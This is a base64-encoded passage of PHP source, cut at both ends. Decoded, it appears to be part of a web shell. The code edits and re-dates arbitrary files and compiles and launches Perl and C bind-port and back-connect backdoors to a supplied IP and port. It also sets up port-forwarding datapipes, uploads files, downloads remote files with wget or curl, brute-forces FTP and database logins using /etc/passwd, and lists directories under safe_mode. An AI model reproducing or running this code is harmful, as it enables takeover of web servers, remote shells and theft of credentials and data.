KICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9IzAwMDAwMD48dHI+PHRkIGJnY29sb3I9I2NjY2NjYz48ZGl2IGFsaWduPWNlbnRlcj48Zm9udCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MiddLiI8L2I+PC9mb250PjwvZGl2PjwvdGQ+PC90cj48L3RhYmxlPiI7CiAgICAgICB9CiAgICAgIGVsc2UgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0KICAgICAgfQogICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbGV0ZSIpewogICAgICBpZihAcm1kaXIoJF9QT1NUWydta19uYW1lJ10pKSBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKICAgICAgJF9QT1NUWydjbWQnXT0iIjsKICAgICAgfQogICAgIGJyZWFrOwogICB9CiB9CgoKaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJ0b3VjaCIpCnsKaWYoISRfUE9TVFsnZmlsZV9uYW1lX3InXSkKIHsKICAkZGF0YXIgPSAkX1BPU1RbJ2RheSddLiIgIi4kX1BPU1RbJ21vbnRoJ10uIiAiLiRfUE9TVFsneWVhciddLiIgIi4kX1BPU1RbJ2NoYXNpJ10uIiBob3VycyAiLiRfUE9TVFsnbWludXRlcyddLiIgbWludXRlcyAiLiRfUE9TVFsnc2Vjb25kJ10uIiBzZWNvbmRzIjsKICAkZGF0YXIgPSBAc3RydG90aW1lKCRkYXRhcik7CiAgQHRvdWNoKCRfUE9TVFsnZmlsZV9uYW1lJ10sJGRhdGFyLCRkYXRhcik7fQplbHNlewogIEB0b3VjaCgkX1BPU1RbJ2ZpbGVfbmFtZSddLEBmaWxlbXRpbWUoJF9QT1NUWydmaWxlX25hbWVfciddKSxAZmlsZW10aW1lKCRfUE9TVFsnZmlsZV9uYW1lX3InXSkpOwp9CiRfUE9TVFsnY21kJ109IiI7Cn0KCgppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09ImVkaXRfZmlsZSIgJiYgIWVtcHR5KCRfUE9TVFsnZV9uYW1lJ10pKQogewogaWYoQGlzX2RpcigkX1BPU1RbJ2VfbmFtZSddKSl7IGVycigxLCRfUE9TVFsnZV9uYW1lJ10pOyAkX1BPU1RbJ2NtZCddPSIiOyB9CiBlbHNlaWYoJGZpbGU9bW9yZXJlYWQoJF9QT1NUWydlX25hbWUnXSkpIHsgJGZpbGVkdW1wID0gJGZpbGU7IGlmKCFAaXNfd3JpdGFibGUoJF9QT1NUWydlX25hbWUnXSkpIHsgJG9ubHlfcmVhZCA9IDE7IH07IH0KIGVsc2VpZigkZmlsZT1yZWFkemxpYigkX1BPU1RbJ2VfbmFtZSddKSkgeyAkZmlsZWR1bXAgPSAkZmlsZTsgJG9ubHlfcmVhZCA9IDE7IH0gCiBlbHNlaWYoQGZpbGVfZXhpc3RzKCRfUE9TVFsnZV9uYW1lJ10pKSB7JGZpbGVkdW1wID0gJ05PTkUnOyBpZighQGlzX3dyaXRhYmxlKCRfUE9TVFsnZV9uYW1lJ10pKSB7ICRvbmx5X3JlYWQgPSAxOyB9O30KIGVsc2UgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQogaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pKSAKIHsKIGVjaG8gJHRhYmxlX3VwMzsKIGVjaG8gJGZvbnQ7CiBlY2hvICI8Zm9ybSBuYW1lPXNhdmVfZmlsZSBtZXRob2Q9cG9zdD4iOwogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+IjsKIGVjaG8gIjxkaXYgYWxpZ249Y2VudGVyPjx0ZXh0YXJlYSBuYW1lPWVfdGV4dCBjb2xzPTEyMSByb3dzPTI0PiI7CiBlY2hvIEBodG1sc3BlY2lhbGNoYXJzKCRmaWxlZHVtcCk7CiBlY2hvICI8L3RleHRhcmVhPiI7CiBlY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1lX25hbWUgdmFsdWU9JyIuJF9QT1NUWydlX25hbWUnXS4iJz4iOwogZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZGlyIHZhbHVlPSciLiRkaXIuIic+IjsKIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsKIGVjaG8gKCFlbXB0eSgkb25seV9yZWFkKT8oIjxicj48YnI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDQnXSk6KCI8YnI+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1cIiAiLiRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMCddLiIgXCI+IikpOwogZWNobyAiPC9kaXY+IjsKIGVjaG8gIjwvZm9udD4iOwogZWNobyAiPC9mb3JtPiI7CiBlY2hvICI8L3RkPjwvdHI+PC90YWJsZT4iOwogZXhpdCgpOwogfQogfQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpCiB7CiAkbXRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsnZV9uYW1lJ10pOwogaWYoIUBpc193cml0YWJsZSgkX1BPU1RbJ2VfbmFtZSddKSkgeyBlcnIoMCwkX1BPU1RbJ2VfbmFtZSddKTsgfQogZWxzZSB7CiBpZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7CiBtb3Jld3JpdGUoJF9QT1NUWydlX25hbWUnXSwkX1BPU1RbJ2VfdGV4dCddKTsKICRfUE9TVFsnY21kJ109IiI7CiBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsKIH0KIEB0b3VjaCgkX1BPU1RbJ2VfbmFtZSddLCRtdGltZSwkbXRpbWUpOwogfQogCgppZiAoIWVtcHR5KCRfUE9TVFsncHJveHlfcG9ydCddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKIGNmKCR0ZW1wZGlyLidwcnhwbCcsJHByeF9wbCk7CiAkcDI9d2hpY2goInBlcmwiKTsKICRibGFoID0gZXgoJHAyLicgJy4kdGVtcGRpci4ncHJ4cGwgJy4kX1BPU1RbJ3Byb3h5X3BvcnQnXS4nICYnKTsKIEB1bmxpbmsoJHRlbXBkaXIuJ3ByeHBsJyk7CiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBwcnhwbCI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJDIikpCnsKIGNmKCR0ZW1wZGlyLidiZC5jJywkcG9ydF9iaW5kX2JkX2MpOwogJGJsYWggPSBleCgnZ2NjIC1vICcuJHRlbXBkaXIuJ2JkICcuJHRlbXBkaXIuJ2JkLmMnKTsKIEB1bmxpbmsoJHRlbXBkaXIuJ2JkLmMnKTsKICRibGFoID0gZXgoJHRlbXBkaXIuJ2JkICcuJF9QT1NUWydwb3J0J10uJyAnLiRfUE9TVFsnYmluZF9wYXNzJ10uJyAmJyk7CiBAdW5saW5rKCR0ZW1wZGlyLidiZCcpOwogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmQiOwp9CmlmICghZW1wdHkoJF9QT1NUWydwb3J0J10pJiYhZW1wdHkoJF9QT1NUWydiaW5kX3Bhc3MnXSkmJigkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQp7CiBjZigkdGVtcGRpci4nYmRwbCcsJHBvcnRfYmluZF9iZF9wbCk7CiAkcDI9d2hpY2goInBlcmwiKTsKICRibGFoID0gZXgoJHAyLicgJy4kdGVtcGRpci4nYmRwbCAnLiRfUE9TVFsncG9ydCddLicgJicpOwogQHVubGluaygkdGVtcGRpci4nYmRwbCcpOwogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgYmRwbCI7Cn0KaWYgKCFlbXB0eSgkX1BPU1RbJ2lwJ10pICYmICFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJQZXJsIikpCnsKIGNmKCR0ZW1wZGlyLidiYWNrJywkYmFja19jb25uZWN0KTsKICRwMj13aGljaCgicGVybCIpOwogJGJsYWggPSBleCgkcDIuJyAnLiR0ZW1wZGlyLidiYWNrICcuJF9QT1NUWydpcCddLicgJy4kX1BPU1RbJ3BvcnQnXS4nICYnKTsKIEB1bmxpbmsoJHRlbXBkaXIuJ2JhY2snKTsKICRfUE9TVFsnY21kJ109ImVjaG8gXCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICIuJF9QT1NUWydpcCddLiIgcG9ydCAiLiRfUE9TVFsncG9ydCddLiIgLi4uXCIiOwp9CmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQp7CiBjZigkdGVtcGRpci4nYmFjay5jJywkYmFja19jb25uZWN0X2MpOwogJGJsYWggPSBleCgnZ2NjIC1vICcuJHRlbXBkaXIuJ2JhY2tjICcuJHRlbXBkaXIuJ2JhY2suYycpOwogQHVubGluaygkdGVtcGRpci4nYmFjay5jJyk7CiAkYmxhaCA9IGV4KCR0ZW1wZGlyLidiYWNrYyAnLiRfUE9TVFsnaXAnXS4nICcuJF9QT1NUWydwb3J0J10uJyAmJyk7CiBAdW5saW5rKCR0ZW1wZGlyLidiYWNrJyk7CiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsKfQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkKewogY2YoJHRlbXBkaXIuJ2RwJywkZGF0YXBpcGVfcGwpOwogJHAyPXdoaWNoKCJwZXJsIik7CiAkYmxhaCA9IGV4KCRwMi4nICcuJHRlbXBkaXIuJ2RwICcuJF9QT1NUWydsb2NhbF9wb3J0J10uJyAnLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4nICcuJF9QT1NUWydyZW1vdGVfcG9ydCddLicgJicpOwogQHVubGluaygkdGVtcGRpci4nZHAnKTsKICRfUE9TVFsnY21kJ109InBzIC1hdXggfCBncmVwIGRwIjsKfQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IkMiKSkKewogY2YoJHRlbXBkaXIuJ2RwYy5jJywkZGF0YXBpcGVfYyk7CiAkYmxhaCA9IGV4KCdnY2MgLW8gJy4kdGVtcGRpci4nZHBjICcuJHRlbXBkaXIuJ2RwYy5jJyk7CiBAdW5saW5rKCR0ZW1wZGlyLidkcGMuYycpOwogJGJsYWggPSBleCgkdGVtcGRpci4nZHBjICcuJF9QT1NUWydsb2NhbF9wb3J0J10uJyAnLiRfUE9TVFsncmVtb3RlX3BvcnQnXS4nICcuJF9QT1NUWydyZW1vdGVfaG9zdCddLicgJicpOwogQHVubGluaygkdGVtcGRpci4nZHBjJyk7CiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcGMiOwp9CgppZiAoIWVtcHR5KCRfUE9TVFsnYWxpYXMnXSkgJiYgaXNzZXQoJGFsaWFzZXNbJF9QT1NUWydhbGlhcyddXSkpIHsgJF9QT1NUWydjbWQnXSA9ICRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV07IH0KCmZvcigkdXBsPTA7JHVwbDw9MTY7JHVwbCsrKQp7CiBpZighZW1wdHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ10pKXsKICBpZighZW1wdHkoJF9QT1NUWyduZXdfbmFtZSddKSAmJiAoJHVwbD09MCkpIHsgJG5mbiA9ICRfUE9TVFsnbmV3X25hbWUnXTsgfQogIGVsc2UgeyAkbmZuID0gJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnLiR1cGxdWyduYW1lJ107IH0KICBAbW92ZV91cGxvYWRlZF9maWxlKCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsndG1wX25hbWUnXSwkX1BPU1RbJ2RpciddLiIvIi4kbmZuKQogIG9yIHByaW50KCI8Zm9udCBjb2xvcj1yZWQgZmFjZT1GaXhlZHN5cz48ZGl2IGFsaWduPWNlbnRlcj5FcnJvciB1cGxvYWRpbmcgZmlsZSAiLiRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJy4kdXBsXVsnbmFtZSddLiI8L2Rpdj48L2ZvbnQ+Iik7CiB9Cn0KCmlmICghZW1wdHkoJF9QT1NUWyd3aXRoJ10pICYmICFlbXB0eSgkX1BPU1RbJ3JlbV9maWxlJ10pICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQp7CiBzd2l0Y2goJF9QT1NUWyd3aXRoJ10pCiB7CiBjYXNlICdmb3Blbic6CiAkZGF0YWZpbGUgPSBAaW1wbG9kZSgiIiwgQGZpbGUoJF9QT1NUWydyZW1fZmlsZSddKSk7CiBpZigkZGF0YWZpbGUpCiAgewogICBpZighbW9yZXdyaXRlKCRfUE9TVFsnbG9jX2ZpbGUnXSwkZGF0YWZpbGUpKXsgZXJyKDApO307CiAgfQoKICRfUE9TVFsnY21kJ10gPSAnJzsKIGJyZWFrOwogY2FzZSAnd2dldCc6CiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ3dnZXQnKS4iIFwiIi4kX1BPU1RbJ3JlbV9maWxlJ10uIlwiIC1PIFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnZmV0Y2gnOgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLXAgXCIiLiRfUE9TVFsncmVtX2ZpbGUnXS4iXCIgLW8gXCIiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iXCIiOwogYnJlYWs7CiBjYXNlICdseW54JzoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbHlueCcpLiIgLXNvdXJjZSBcIiIuJF9QT1NUWydyZW1fZmlsZSddLiJcIiA+IFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnbGlua3MnOgogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdsaW5rcycpLiIgLXNvdXJjZSBcIiIuJF9QT1NUWydyZW1fZmlsZSddLiJcIiA+IFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnR0VUJzoKICRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiBcIiIuJF9QT1NUWydyZW1fZmlsZSddLiJcIiA+IFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogY2FzZSAnY3VybCc6CiAkX1BPU1RbJ2NtZCddID0gd2hpY2goJ2N1cmwnKS4iIFwiIi4kX1BPU1RbJ3JlbV9maWxlJ10uIlwiIC1vIFwiIi4kX1BPU1RbJ2xvY19maWxlJ10uIlwiIjsKIGJyZWFrOwogfQp9CmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIpIHx8ICgkX1BPU1RbJ2NtZCddPT0iZnRwX2ZpbGVfZG93biIpKSkKIHsKIGxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsKIGlmKGVtcHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0KICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0ICgkZnRwX3NlcnZlciwkZnRwX3BvcnQsMTApOwogaWYoISRjb25uZWN0aW9uKSB7IGVycigzKTsgfQogZWxzZSAKICB7ICAgCiAgaWYoIUBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4nXSwkX1BPU1RbJ2Z0cF9wYXNzd29yZCddKSkgeyBlcnIoNCk7IH0KICBlbHNlIAogICB7CiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9CiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIpICAgeyBAZnRwX3B1dCgkY29ubmVjdGlvbiwkX1BPU1RbJ2Z0cF9maWxlJ10sJF9QT1NUWydsb2NfZmlsZSddLCRfUE9TVFsnbW9kZSddKTt9CiAgIH0KICB9CiBAZnRwX2Nsb3NlKCRjb25uZWN0aW9uKTsKICRfUE9TVFsnY21kJ10gPSAiIjsKIH0KCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAoKCRfUE9TVFsnY21kJ109PSJmdHBfYnJ1dGUiKSB8fCAoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIikpKQogewogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpewogIGxpc3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0KSA9IHNwbGl0KCI6IiwkX1BPU1RbJ2Z0cF9zZXJ2ZXJfcG9ydCddKTsKICBpZihlbXB0eSgkZnRwX3BvcnQpKSB7ICRmdHBfcG9ydCA9IDIxOyB9CiAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QgKCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiB9ZWxzZSBpZigkX1BPU1RbJ2NtZCddPT0iZGJfYnJ1dGUiKXsKICAgJGNvbm5lY3Rpb24gPSAxOwogfQogaWYoISRjb25uZWN0aW9uKSB7IGVycigzKTsgJF9QT1NUWydjbWQnXSA9ICIiOyB9CiBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCcvZXRjL3Bhc3N3ZCcpKSl7IGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPSMwMDAwMDA+PHRyPjx0ZCBiZ2NvbG9yPSNjY2NjY2M+PGZvbnQgY29sb3I9cmVkIGZhY2U9VmVyZGFuYSBzaXplPS0yPjxkaXYgYWxpZ249Y2VudGVyPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk2J10uIjwvYj48L2Rpdj48L2ZvbnQ+PC90ZD48L3RyPjwvdGFibGU+IjsgJF9QT1NUWydjbWQnXSA9ICIiOyB9CiBlbHNlIGlmKCgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0nZGljJykgJiYgKCEkdXNlcnM9Z2V0X3VzZXJzKCRfUE9TVFsnZGljdGlvbmFyeSddKSkpeyBlY2hvICI8dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0wIGNlbGxzcGFjaW5nPTAgYmdjb2xvcj0jMDAwMDAwPjx0cj48dGQgYmdjb2xvcj0jY2NjY2NjPjxmb250IGNvbG9yPXJlZCBmYWNlPVZlcmRhbmEgc2l6ZT0tMj48ZGl2IGFsaWduPWNlbnRlcj48Yj5DYW5cJ3QgZ2V0IHBhc3N3b3JkIGxpc3Q8L2I+PC9kaXY+PC9mb250PjwvdGQ+PC90cj48L3RhYmxlPiI7ICRfUE9TVFsnY21kJ10gPSAiIjsgfQogaWYoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpe0BmdHBfY2xvc2UoJGNvbm5lY3Rpb24pO30KIH0KCmVjaG8gJHRhYmxlX3VwMzsKaWYgKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICEkc2FmZV9tb2RlKSB7ICRfUE9TVFsnY21kJ109KCEkdW5peCk/KCJkaXIiKTooImxzIC1saWEiKTsgfQplbHNlIGlmKGVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRzYWZlX21vZGUpeyAkX1BPU1RbJ2NtZCddPSJzYWZlX2RpciI7IH0KZWNobyAkZm9udC4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MSddLiI6IDxiPiIuJF9QT1NUWydjbWQnXS4iPC9iPjwvZm9udD48L3RkPjwvdHI+PHRyPjx0ZD48Yj48ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1yZXBvcnQgY29scz0xMjEgcm93cz0xNT4iOwppZigkc2FmZV9tb2RlIHx8ICRvcGVuX2Jhc2VkaXIpCnsKIHN3aXRjaCgkX1BPU1RbJ2NtZCddKQogewogY2FzZSAnc2FmZV9kaXInOgogCiAgaWYgKEBmdW5jdGlvbl9leGlzdHMoJ3NjYW5kaXInKSAmJiAoJGQ9QHNjYW5kaXIoJGRpcikpICYmICFpc3NldCgkX1BPU1RbJ2dsb2InXSkgJiYgIWlzc2V0KCRfUE9TVFsncmVhbHBhdGgnXSkpCiAgIHsKICAgZm9yZWFjaCAoJGQgYXMgJGZpbGUpCiAgICB7CiAgICAgaWYgKCRmaWxlPT0iLiIgfHwgJGZpbGU9PSIuLiIpIGNvbnRpbnVlOwogICAgIEBjbGVhcnN0YXRjYWNoZSgpOwogICAgIEBsaXN0ICgkZGV2LCAkaW5vZGUsICRpbm9kZXAsICRubGluaywgJHVpZCwgJGdpZCwgJGlub2RldiwgJHNpemUsICRhdGltZSwgJG10aW1lLCAkY3RpbWUsICRic2l6ZSkgPSBzdGF0KCRmaWxlKTsKICAgICBpZighJHVuaXgpeyAKICAgICBlY2hvIGRhdGUoImQubS5ZIEg6aSIsJG10aW1lKTsKICAgICBpZihAaXNfZGlyKCRmaWxlKSkgZWNobyAiICA8RElSPiAiOyBlbHNlIHByaW50ZigiJSA3cyAiLCRzaXplKTsKICAgICB9CiAgICAgZWxzZXsgCiAgICAgaWYoQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRncmdpZCcpKXsKICAgICAgJG93bmVyID0gQHBvc2l4X2dldHB3dWlkKCR1aWQpOwogICAgICAkZ3JnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoJGdpZCk7CiAgICAgfWVsc2V7JG93bmVyWyduYW1lJ109JGdyZ2lkWyduYW1lJ109Jyc7fQogICAgIGVjaG8gJGlub2RlLiIgIjsKICAgICBlY2hvIHBlcm1zKEBmaWxlcGVybXMoJGZpbGUpKTsKICAgICBAcHJpbnRmKCIlIDRkICUgOXMgJSA5cyAlN3MgIiwkbmxpbmssJG93bmVyWyduYW1lJ10sJGdyZ2lkWyduYW1lJ10sJHNpemUpOwogICAgIGVjaG8gQGRhdGUoImQubS5ZIEg6aSAiLCRtdGltZSk7CiAgICAgfQogICAgIGVjaG8gIiRmaWxlXG4iOwogICAgfQogICB9CgogIGVsc2VpZiAoQGZ1bmN0aW9uX2V4aXN0cygnZGlyJykgJiYgKCRkPUBkaXIoJGRpcikpICYmICFpc3NldCgkX1BPU1RbJ2dsb2InXSkgJiYgIWlzc2V0KCRfUE9TVFsncmVhbHBhdGgnXSkpCiAgIHsKICAgd2hpbGUgKGZhbHNlIT09KCRmaWxlPSRkLT5yZWFkKCkpKQogICAgewogICAgIGlmICgkZmlsZT09Ii4iIHx8ICRmaWxlPT0iLi4iKSBjb250aW51ZTsKICAgICBAY2xlYXJzdGF0Y2FjaGUoKTsKICAgICBAbGlzdCAoJGRldiwgJGlub2RlLCAkaW5vZGVwLCAkbmxpbmssICR1aWQsICRnaWQsICRpbm9kZXYsICRzaXplLCAkYXRpbWUsICRtdGltZSwgJGN0aW1lLCAkYnNpemUpID0gc3RhdCgkZmlsZSk7CiAgICAgaWYoISR1bml4KXsgCiAgICAgZWNobyBkYXRlKCJkLm0uWSBIOmkiLCRtdGltZSk7CiAgICAgaWYoQGlzX2RpcigkZmlsZSkpIGVjaG8gIiAgPERJUj4gIjsgZWxzZSBwcmludGYoIiUgN3MgIiwkc2l6ZSk7CiAgICAgfQogICAgIGVsc2V7IAogICAgIGlmKEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSl7CiAgICAgICRvd25lciA9IEBwb3NpeF9nZXRwd3VpZCgkdWlkKTsKICAgICAgJGdyZ2lkID0gQHBvc2l4X2dldGdyZ2lkKCRnaWQpOwogICAgIH1lbHNleyRvd25lclsnbmFtZSddPSRncmdpZFsnbmFtZSddPScnO30KICAgICBlY2hvICRpbm9kZS4iICI7CiAgICAgZWNobyBwZXJtcyhAZmlsZXBlcm1zKCRmaWxlKSk7CiAgICAgQHByaW50ZigiJSA0ZCAlIDlzICUgOXMgJTdzICIsJG5saW5rLCRvd25lclsnbmFtZSddLCRncmdpZFsnbmFtZSddLCRzaXplKTsKICAgICBlY2hvIEBkYXRlKCJkLm0uWSBIOmkgIiwkbXRpbWUpOwogICAgIH0KICAgICBlY2hvICIkZmlsZVxuIjsKICAgIH0KICAgJGQtPmNsb3NlKCk7CiAgIH0KICAgCiAgZWxzZWlmIChAZnVuY3Rpb25fZXhpc3RzKCdvcGVuZGlyJykgJiYgQGZ1bmN0aW9uX2V4aXN0cygncmVhZGRpcicpICYmICgkZD1Ab3BlbmRpcigkZGlyKSkgJiYgIWlzc2V0KCRfUE9TVFsnZ2xvYiddKSAmJiAhaXNzZXQoJF9QT1NUWydyZWFscGF0aCddKSkKICAgewogICB3aGlsZSAoZmFsc2UhPT0oJGZpbGU9QHJlYWRkaXIoJGQpKSkKICAgIHsKICAgICBpZiAoJGZpbGU9PSIuIiB8fCAkZmlsZT09Ii4uIikgY29udGludWU7CiAgICAgQGNsZWFyc3RhdGNhY2hlKCk7CiAgICAgQGxpc3QgKCRkZXYsICRpbm9kZSwgJGlub2RlcCwgJG5saW5rLCAkdWlkLCAkZ2lkLCAkaW5vZGV2LCAkc2l6ZSwgJGF0aW1lLCAkbXRpbWUsICRjdGltZSwgJGJzaXplKSA9IHN0YXQoJGZpbGUpOwogICAgIGlmKCEkdW5peCl7IAogICAgIGVjaG8gZGF0ZSgiZC5tLlkgSDppIiwkbXRpbWUpOwogICAgIGlmKEBpc19kaXIoJGZpbGUpKSBlY2hvICIgIDxESVI+ICI7IGVsc2UgcHJpbnRmKCIlIDdzICIsJHNpemUpOwogICAgIH0KICAgICBlbHNleyAKICAgICBpZihAZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIEBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpewogICAgICAkb3duZXIgPSBAcG9zaXhfZ2V0cHd1aWQoJHVpZCk7CiAgICAgICRncmdpZCA9IEBwb3NpeF9nZXRncmdpZCgkZ2lkKTsKICAgICB9ZWxzZXskb3duZXJbJ25hbWUnXT0kZ3JnaWRbJ25hbWUnXT0nJzt9CiAgICAgZWNobyAkaW5vZGUuIiAiOwogICAgIGVjaG8gcGVybXMoQGZpbGVwZXJtcygkZmlsZSkpOwogICAgIEB